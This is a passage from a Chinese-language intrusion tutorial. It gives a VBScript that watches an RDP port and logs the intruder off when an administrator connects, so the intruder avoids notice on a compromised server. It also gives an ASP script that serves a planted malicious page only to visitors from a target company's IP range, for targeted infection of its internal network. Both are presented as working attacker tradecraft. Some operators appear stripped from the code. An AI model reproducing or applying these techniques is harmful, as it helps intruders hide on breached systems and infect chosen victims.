再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友Netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:
★
on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo "use:// cscript.exe FS.vbs port"
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject("WScript.Shell")
Set oExec = oShell.Exec("netstat -an")
Set oRegExp = new RegExp
oRegExp.Pattern = "TCP[\s] [\d\.] :"&Tport&"[\s] [\d\.] :[\d] [\s] ESTABLISHED"
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num 1
Next
if num > 1 then
Runs=true
oShell.run "logoff"
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
wend
★
用此脚本,登陆终端时打开就可以了,这也是一个比较好的隐藏自己的办法。
最后来说一下挂马。挂马的隐蔽方法也有很多,以前黑手上讲过几期。如果只是盲目的挂马多搞几台肉鸡的话,那个随便你了。但是有时候我们入侵了一个公司的 web站,目标却是他们的内网。这时候你挂马可能会挂出太多的无用机器,如果你知他们公司内网出口的IP段的话,我们可以限制一下IP段使其更有针对性。这个asp脚本如下:
<%
''获取访问者的地址
ip=Request.ServerVariables("REMOTE_ADDR")
'允许的IP地址段为
allowip1="221.221.221.1"
allowip2="221.221.221.254"
if checkip(ip,allowip1,allowip2)=true then
response.write "你挂马的页面"
end if
function checkip(ip,allowip1,allowip2)
dim check(4)
checkip=false
ipstr=split(ip,".")
allow1=split(allowip1,".")
allow2=split(allowip2,".")
if cint(allow1(0))>cint(allow2(0)) then ''判断IP地址段是否合法
response.write "禁止访问"
exit function
end if
for i=0 to ubound(ipstr)
if cint(allow1(i))<cint(allow2(i)) then
if cint(allow1(i))=cint(ipstr(i)) then
check(i)=true
checkip=true
exit for
else
if cint(ipstr(i))<cint(allow2(i)) then
exit for
else
if cint(ipstr(i))>cint(allow2(i)) then
check(i)=false
checkip=false
exit for
else
check(i)=true
checkip=true
end if
end if
end if
else
if cint(allow1(i))>cint(ipstr(i)) or cint(allow1(i))<cint(ipstr(i)) then
check(i)=false
checkip=false
if i<>ubound(ipstr) then
exit for
end if
else
check(i)=true
end if
end if
next
if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and (cint(allow2(2))>cint(ipstr(2))) then
checkip=true
end if
end function
%>